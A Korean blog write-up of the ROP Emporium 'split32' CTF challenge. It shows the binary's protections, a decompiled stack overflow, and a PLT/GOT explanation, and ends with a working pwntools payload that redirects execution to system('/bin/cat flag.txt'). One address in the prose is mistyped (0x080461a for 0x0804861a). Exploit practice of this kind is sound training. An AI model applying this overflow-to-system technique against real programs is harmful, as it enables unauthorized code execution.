본문 바로가기
ROP emporium

split32

file split32 
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped

 

checksec split32 
[*] '/root/ropemporium/split32/split32'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

 

문제에서 "/bin/cat flag.txt"와 system 함수가 binary에 모두 있다고 한다. system 함수에 /bin/cat flag.txt를 argument로 전달하면 된다. 

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts("split by ROP Emporium");
  puts("x86\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

 

int pwnme()
{
  _BYTE s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  puts("Contriving a reason to ask user for data...");
  printf("> ");
  read(0, s, 0x60u);
  return puts("Thank you!");
}

 

int usefulFunction()
{
  return system("/bin/ls");
}

 

gef➤  disass usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804860c <+0>:     push   ebp
   0x0804860d <+1>:     mov    ebp,esp
   0x0804860f <+3>:     sub    esp,0x8
   0x08048612 <+6>:     sub    esp,0xc
   0x08048615 <+9>:     push   0x804870e
   0x0804861a <+14>:    call   0x80483e0 <system@plt>
   0x0804861f <+19>:    add    esp,0x10
   0x08048622 <+22>:    nop
   0x08048623 <+23>:    leave
   0x08048624 <+24>:    ret
End of assembler dump.

 

여기서 보면 0x080461a가 system 함수의 주소인지 0x80483e0가 system 함수의 주소인지 좀 헷갈린다. 결론적으로는 0x080461a가 system 함수의 주소이다. 0x80483e0은  system 함수의 Procedure Linkage Table(PLT) entry이다. 

 

PLT는 dynamically linked ELF 파일들이 runtime에 function calls를 resolve 하는 데 사용하는 방식이다.

PLT는 _dl_runtime_resolve를 이용하여 프로그램 내부의 실제 함수의 주소를 알아낸다. 

PLT가 실제 함수의 주소를 알아낸 이후에는 Global Offset Table(GOT)에 함수의 주소를 저장한다. 

해당 함수를 이후에 호출하게 된다면 PLT entry를 찾아가지 않고 GOT에 저장한 함수의 주소를 바로 찾는다.

 

gdb를 이용해서 breakpoint를 건 다음  grep으로 /bin/cat의 메모리 주소를 알 수 있다.

gef➤  grep /bin/cat
[+] Searching '/bin/cat' in memory
[+] In '/root/ropemporium/split32/split32'(0x804a000-0x804b000), permission=rw-
  0x804a030 - 0x804a041  →   "/bin/cat flag.txt"

 

p32나 p64로 함수를 호출하는 순서는 C, Python에서 함수를 호출하는 순서와 동일하다. 먼저 system 함수를 packing 하고 그다음에 전달할 argument를 적듯이 /bin/cat을 packing 하면 된다. 

 

from pwn import * 

p=process('./split32')
payload=b'A'*44
payload+=p32(0x0804861a) # usefulFunction
payload+=p32(0x804a030)  # /bin/cat
p.send(payload)
p.interactive()

'ROP emporium' 카테고리의 다른 글

ret2win  (0) 2024.11.17
ret2win32  (0) 2024.11.16